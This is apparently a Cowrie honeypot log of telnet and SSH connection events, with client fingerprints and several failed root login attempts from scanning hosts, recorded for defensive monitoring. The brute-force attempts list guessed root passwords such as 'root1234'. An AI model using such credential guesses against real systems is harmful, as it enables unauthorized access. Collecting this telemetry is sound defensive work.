{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":33748,"dst_ip":"10.17.0.5","dst_port":23,"session":"eef9b339fa45","protocol":"telnet","message":"New connection: 109.228.58.89:33748 (10.17.0.5:23) [session: eef9b339fa45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:11.675477Z"}
{"eventid":"cowrie.session.closed","duration":0.005620241165161133,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:11.680979Z","src_ip":"109.228.58.89","session":"eef9b339fa45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39424204826355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:12.276711Z","src_ip":"109.228.58.89","session":"7722e9d92fcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.509607553482056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:14.976207Z","src_ip":"109.228.58.89","session":"6d0d0fb44e25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.209557056427002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:15.332478Z","src_ip":"109.228.58.89","session":"8328180d59f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":38104,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c40a3e31ee0","protocol":"telnet","message":"New connection: 109.228.58.89:38104 (10.17.0.5:23) [session: 7c40a3e31ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:15.626717Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":38088,"dst_ip":"10.17.0.5","dst_port":23,"session":"4082575a7479","protocol":"telnet","message":"New connection: 109.228.58.89:38088 (10.17.0.5:23) [session: 4082575a7479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:16.440421Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":38258,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf5f81d91e4","protocol":"telnet","message":"New connection: 109.228.58.89:38258 (10.17.0.5:23) [session: 7cf5f81d91e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:16.625077Z"}
{"eventid":"cowrie.session.closed","duration":31.561941623687744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:18.518923Z","src_ip":"109.228.58.89","session":"f7165108a365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.158825635910034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:21.070649Z","src_ip":"109.228.58.89","session":"f1775f09476d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1571683883667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:21.961514Z","src_ip":"109.228.58.89","session":"620b5ba0b69c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.200605392456055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:22.302406Z","src_ip":"109.228.58.89","session":"28033310c6a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":38176,"dst_ip":"159.203.135.109","dst_port":22,"session":"e247595e4a0b","protocol":"ssh","message":"New connection: 147.45.197.250:38176 (159.203.135.109:22) [session: e247595e4a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:23.450105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:23.455125Z","src_ip":"147.45.197.250","session":"e247595e4a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:23.544481Z","src_ip":"147.45.197.250","session":"e247595e4a0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12061988","message":"login attempt [root/12061988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:23.812553Z","src_ip":"147.45.197.250","session":"e247595e4a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:24.905153Z","src_ip":"147.45.197.250","session":"e247595e4a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":39730,"dst_ip":"10.17.0.5","dst_port":23,"session":"edf5072019c6","protocol":"telnet","message":"New connection: 109.228.58.89:39730 (10.17.0.5:23) [session: edf5072019c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:31.239102Z"}
{"eventid":"cowrie.session.closed","duration":33.243868350982666,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:31.791111Z","src_ip":"109.228.58.89","session":"12a5a4cfc82c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01130771636963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:31.892442Z","src_ip":"109.228.58.89","session":"1ad0b2b8d153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":40422,"dst_ip":"10.17.0.5","dst_port":23,"session":"e40d48bc409b","protocol":"telnet","message":"New connection: 109.228.58.89:40422 (10.17.0.5:23) [session: e40d48bc409b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:36.621022Z"}
{"eventid":"cowrie.session.closed","duration":31.176377058029175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:37.277698Z","src_ip":"109.228.58.89","session":"b6014743ba11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.255542755126953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:38.031955Z","src_ip":"109.228.58.89","session":"540e50177b10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.258875846862793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:41.072067Z","src_ip":"109.228.58.89","session":"8ecce0d0cb91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.541276931762695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:42.045353Z","src_ip":"109.228.58.89","session":"1875a9ea032c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.599804401397705,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:42.911975Z","src_ip":"69.4.83.194","session":"df27b12932df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00160717964172,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:43.250754Z","src_ip":"167.0.90.191","session":"95281a02cc55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00310683250427,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:44.796452Z","src_ip":"167.0.90.191","session":"ac0d57c14258","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54383397102356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:47.170425Z","src_ip":"109.228.58.89","session":"7c40a3e31ee0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23539161682129,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:47.860360Z","src_ip":"109.228.58.89","session":"7cf5f81d91e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.81276035308838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:48.253067Z","src_ip":"109.228.58.89","session":"4082575a7479","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0021300315857,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:49.222232Z","src_ip":"167.0.90.191","session":"c7ee4d0f6399","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":42044,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d3997770a8a","protocol":"telnet","message":"New connection: 109.228.58.89:42044 (10.17.0.5:23) [session: 8d3997770a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:51.518766Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":38820,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee954d4b3775","protocol":"telnet","message":"New connection: 109.228.58.89:38820 (10.17.0.5:23) [session: ee954d4b3775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:54.966143Z"}
{"eventid":"cowrie.session.closed","duration":0.0060710906982421875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:54.972064Z","src_ip":"109.228.58.89","session":"ee954d4b3775","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":42324,"dst_ip":"10.17.0.5","dst_port":23,"session":"618df5bc262e","protocol":"telnet","message":"New connection: 109.228.58.89:42324 (10.17.0.5:23) [session: 618df5bc262e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:41:55.536704Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":42804,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fd985205c28","protocol":"telnet","message":"New connection: 109.228.58.89:42804 (10.17.0.5:23) [session: 8fd985205c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:01.157271Z"}
{"eventid":"cowrie.session.closed","duration":31.254687786102295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:02.493697Z","src_ip":"109.228.58.89","session":"edf5072019c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.585856437683105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:08.206757Z","src_ip":"109.228.58.89","session":"e40d48bc409b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":43926,"dst_ip":"10.17.0.5","dst_port":23,"session":"066d6967d8b0","protocol":"telnet","message":"New connection: 109.228.58.89:43926 (10.17.0.5:23) [session: 066d6967d8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:09.168175Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":44364,"dst_ip":"10.17.0.5","dst_port":23,"session":"764af8a7aefc","protocol":"telnet","message":"New connection: 109.228.58.89:44364 (10.17.0.5:23) [session: 764af8a7aefc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:13.320769Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":44242,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1b96869eaa7","protocol":"telnet","message":"New connection: 109.228.58.89:44242 (10.17.0.5:23) [session: f1b96869eaa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:14.903441Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57760,"dst_ip":"159.203.135.109","dst_port":23,"session":"06837577267f","protocol":"telnet","message":"New connection: 69.4.83.194:57760 (159.203.135.109:23) [session: 06837577267f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:21.482495Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":44570,"dst_ip":"10.17.0.5","dst_port":22,"session":"555524855b25","protocol":"ssh","message":"New connection: 147.45.199.80:44570 (10.17.0.5:22) [session: 555524855b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:22.033823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:22.039662Z","src_ip":"147.45.199.80","session":"555524855b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:22.140002Z","src_ip":"147.45.199.80","session":"555524855b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fkg7h4f3v6","message":"login attempt [root/fkg7h4f3v6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:22.433287Z","src_ip":"147.45.199.80","session":"555524855b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.22068691253662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:22.739338Z","src_ip":"109.228.58.89","session":"8d3997770a8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:23.531349Z","src_ip":"147.45.199.80","session":"555524855b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20892572402954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:26.745531Z","src_ip":"109.228.58.89","session":"618df5bc262e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":46558,"dst_ip":"10.17.0.5","dst_port":23,"session":"b20a7843595d","protocol":"telnet","message":"New connection: 109.228.58.89:46558 (10.17.0.5:23) [session: b20a7843595d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:32.320812Z"}
{"eventid":"cowrie.session.closed","duration":31.34402322769165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:32.501171Z","src_ip":"109.228.58.89","session":"8fd985205c28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":46496,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a28186028b2","protocol":"telnet","message":"New connection: 109.228.58.89:46496 (10.17.0.5:23) [session: 7a28186028b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:34.627701Z"}
{"eventid":"cowrie.session.closed","duration":31.185363054275513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:40.353398Z","src_ip":"109.228.58.89","session":"066d6967d8b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":47476,"dst_ip":"10.17.0.5","dst_port":23,"session":"2963471891e0","protocol":"telnet","message":"New connection: 109.228.58.89:47476 (10.17.0.5:23) [session: 2963471891e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:41.495469Z"}
{"eventid":"cowrie.session.closed","duration":30.85968589782715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:44.180351Z","src_ip":"109.228.58.89","session":"764af8a7aefc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":47968,"dst_ip":"10.17.0.5","dst_port":23,"session":"91d844a41017","protocol":"telnet","message":"New connection: 109.228.58.89:47968 (10.17.0.5:23) [session: 91d844a41017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:45.051458Z"}
{"eventid":"cowrie.session.closed","duration":31.18508243560791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:46.088416Z","src_ip":"109.228.58.89","session":"f1b96869eaa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":35372,"dst_ip":"159.203.135.109","dst_port":22,"session":"53e13a1badbf","protocol":"ssh","message":"New connection: 85.11.167.46:35372 (159.203.135.109:22) [session: 53e13a1badbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:47.006578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:47.011211Z","src_ip":"85.11.167.46","session":"53e13a1badbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:47.093791Z","src_ip":"85.11.167.46","session":"53e13a1badbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:47.348813Z","src_ip":"85.11.167.46","session":"53e13a1badbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:48.434650Z","src_ip":"85.11.167.46","session":"53e13a1badbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":48002,"dst_ip":"10.17.0.5","dst_port":23,"session":"b85cbb7d88eb","protocol":"telnet","message":"New connection: 109.228.58.89:48002 (10.17.0.5:23) [session: b85cbb7d88eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:48.540114Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":48820,"dst_ip":"10.17.0.5","dst_port":23,"session":"f989cde33ee3","protocol":"telnet","message":"New connection: 109.228.58.89:48820 (10.17.0.5:23) [session: f989cde33ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:52.328536Z"}
{"eventid":"cowrie.session.closed","duration":31.792269229888916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:53.274641Z","src_ip":"69.4.83.194","session":"06837577267f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":45486,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f22bde72208","protocol":"telnet","message":"New connection: 109.228.58.89:45486 (10.17.0.5:23) [session: 4f22bde72208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:53.827806Z"}
{"eventid":"cowrie.session.closed","duration":0.015018463134765625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:53.842561Z","src_ip":"109.228.58.89","session":"4f22bde72208","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.228.58.89","src_port":49386,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff3fe34ff50b","protocol":"telnet","message":"New connection: 109.228.58.89:49386 (10.17.0.5:23) [session: ff3fe34ff50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:42:57.350990Z"}
